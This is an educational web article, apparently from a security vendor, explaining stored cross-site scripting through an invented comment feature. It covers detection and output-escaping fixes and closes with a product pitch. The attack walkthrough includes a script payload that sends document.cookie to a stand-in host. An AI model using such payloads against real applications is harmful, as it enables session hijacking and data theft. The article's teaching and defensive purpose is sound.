Stored cross site scripting happens when an application saves attacker controlled text and later writes it into a page as markup instead of as content. It is the most damaging form of XSS, because the payload waits in the database and fires for every visitor who loads the affected page. This stored XSS example walks through one comment field in an invented app, from the request that plants the script to the response that runs it, and then covers how to find and fix the same flaw.
A stored XSS example, start to finish
Acme Notes is an invented team workspace where members leave comments on a shared note. An attacker with an ordinary account posts a comment.
POST /api/notes/4120/comments
Content-Type: application/json
Authorization: Bearer tokenForAttacker
{ "body": "<script>fetch('https://collector.example/c?d='+encodeURIComponent(document.cookie))</script>" }
201 Created
{ "id": 771, "author_id": 88, "body": "<script>...</script>" }
The API stores the string exactly as sent. Nothing has gone wrong yet, because storing text is not a vulnerability. The bug appears when the comment is rendered. The template writes the comment body straight into the HTML.
<div class="comment">
<span class="author">Sam</span>
<script>fetch('https://collector.example/c?d='+encodeURIComponent(document.cookie))</script>
</div>
Now every colleague who opens that note runs the script with the full privileges of their own session. The attacker did not need to trick anyone into clicking a crafted link, which is what separates stored XSS from the reflected kind. The trap is set once and the application delivers it.
What the attacker gets
Reading cookies is the textbook demonstration, and it is the least interesting outcome. If the session cookie is marked HttpOnly, that specific line fails, and the rest of the attack does not care.
- Actions as the victim. The script runs on the origin, so it can call the API with the victim’s session: change an email address, invite an account, export data. It does not need to steal a token to use one.
- Reading what the victim can read. Anything the page can fetch, the script can fetch and send elsewhere.
- Privilege escalation by patience. A payload planted in a support ticket or a user profile often ends up rendered inside an admin dashboard. This is sometimes called blind XSS, because the attacker never sees the page where it fires.
- Persistence. The payload survives logouts and password resets. It lives in the data, so it keeps firing until someone finds and removes the record.
Storing the text is not the bug. Rendering it as markup is the bug, which means the fix belongs at the moment of output, not the moment of input.
Where stored XSS actually hides
Comment boxes are the example everyone uses and the field most likely to already be escaped. In practice these bugs sit in the places nobody thinks of as user content.
- Display names and profile fields, which get rendered in headers, mention lists, and notification emails.
- File names from uploads, echoed back in an attachment list.
- Support tickets and error reports, which are read by staff in an internal tool with far more privilege than the app itself.
- Fields that pass through a second system, such as a webhook payload or an imported CSV, where the escaping done by the main app never applies.
- Markdown and rich text, where the renderer is allowed to emit HTML on purpose and the allowlist has a gap, often around
hrefvalues or embedded SVG.
How to find it
The method is to plant a marker, then hunt for every place it comes back.
- Use a unique probe. Put a distinctive string such as
acmeprobe7719into every field you can write to, then search the whole application for it: pages, exports, emails, admin views, PDF reports. - Check how it comes back. Viewing the source is what matters. If the probe appears as text and the angle brackets arrive as
<, that output is escaped. If your markup survives intact, the field renders. - Match the payload to the context. Text inside a div, a value inside an attribute, and a string inside an existing script block each need a different break out. A probe that fails in one context can succeed in another on the same page.
- Follow the data to other readers. The field you wrote may be safe in the interface you can see and unescaped in an internal dashboard you cannot. Long lived probes with a callback are how those are found.
- Retest after refactors. A template switched from a safe helper to raw output reintroduces the bug without touching anything that looks like security code.
Do this only against systems you own or have written permission to test. More on injection and input bugs is here.
How to fix it
The single rule is to escape on output, in the context where the value lands, and to let a template engine do it rather than doing it by hand.
// unsafe: writes the value as markup element.innerHTML = comment.body; // safe: writes the value as text element.textContent = comment.body;
- Keep framework escaping on. React, Vue, Django, Rails and others escape by default. Nearly every stored XSS bug in a modern app is a place where somebody opted out, through
dangerouslySetInnerHTML, a raw HTML directive,innerHTML, or a raw filter in a template. - Escape for the right context. HTML text, HTML attributes, JavaScript strings, and URLs all have different rules. HTML escaping inside a
hrefstill allows ajavascript:URL. - Sanitize rich text with a maintained library and an allowlist of tags and attributes. Writing your own filter is how
onerrorand SVG payloads get through. - Add a content security policy so that an injected inline script is refused even when escaping fails. Treat it as a second layer, not the fix.
- Set
HttpOnlyandSameSiteon session cookies. This blocks cookie theft, not the attack, since the script can still act as the user.
Stored XSS survives in mature codebases because the injection point and the place it fires are usually in different files, often owned by different teams, and sometimes in different applications. Finding it means tracking where a value travels and how each destination treats it, which is the sort of end to end reasoning about an application that an autonomous researcher is built to do. Read more about how UnboundCompute works.
Frequently asked questions
What is a stored XSS example?
A member of a shared workspace posts a comment whose body is <script>...</script> rather than plain text. The API saves the string, and the template later writes that body straight into the page as markup. From then on, every colleague who opens the note runs the script inside their own session. The attacker never has to send anyone a link, because the application itself delivers the payload.
What is the difference between stored and reflected XSS?
Reflected XSS travels in the request, usually in a query string, and only fires for someone who follows a crafted link, so the attacker has to get each victim to click. Stored XSS is saved by the application and served to whoever loads the affected page, which means it needs no social engineering, hits every viewer, and keeps working until the record is removed. Stored is the more serious of the two for that reason.
Does HttpOnly on cookies stop stored XSS?
No. Marking the session cookie HttpOnly stops the script from reading that cookie, which blocks one demonstration of the bug and none of its real impact. The script still runs on your origin with the victim’s session attached, so it can call the API as that user, change their email, invite an account, or read and exfiltrate whatever the page can fetch. Treat HttpOnly as damage limitation rather than a fix.
How do I fix stored XSS?
Escape at the point of output, in the context the value lands in, and let your template engine do it. Most stored XSS in modern applications is a place where somebody opted out of default escaping through innerHTML, dangerouslySetInnerHTML, or a raw filter in a template. If you must accept rich text, sanitize it with a maintained library and a strict allowlist of tags and attributes, and add a content security policy as a second layer for when escaping is missed.
rather than plain text. The API saves the string, and the template later writes that body straight into the page as markup. From then on, every colleague who opens the note runs the script inside their own session. The attacker never has to send anyone a link, because the application itself delivers the payload."}}, {"@type": "Question", "name": "What is the difference between stored and reflected XSS?", "acceptedAnswer": {"@type": "Answer", "text": "Reflected XSS travels in the request, usually in a query string, and only fires for someone who follows a crafted link, so the attacker has to get each victim to click. Stored XSS is saved by the application and served to whoever loads the affected page, which means it needs no social engineering, hits every viewer, and keeps working until the record is removed. Stored is the more serious of the two for that reason."}}, {"@type": "Question", "name": "Does HttpOnly on cookies stop stored XSS?", "acceptedAnswer": {"@type": "Answer", "text": "No. Marking the session cookie HttpOnly stops the script from reading that cookie, which blocks one demonstration of the bug and none of its real impact. The script still runs on your origin with the victim's session attached, so it can call the API as that user, change their email, invite an account, or read and exfiltrate whatever the page can fetch. Treat HttpOnly as damage limitation rather than a fix."}}, {"@type": "Question", "name": "How do I fix stored XSS?", "acceptedAnswer": {"@type": "Answer", "text": "Escape at the point of output, in the context the value lands in, and let your template engine do it. Most stored XSS in modern applications is a place where somebody opted out of default escaping through innerHTML, dangerouslySetInnerHTML, or a raw filter in a template. If you must accept rich text, sanitize it with a maintained library and a strict allowlist of tags and attributes, and add a content security policy as a second layer for when escaping is missed."}}]}
Put an autonomous researcher on your own systems
UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.
Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.









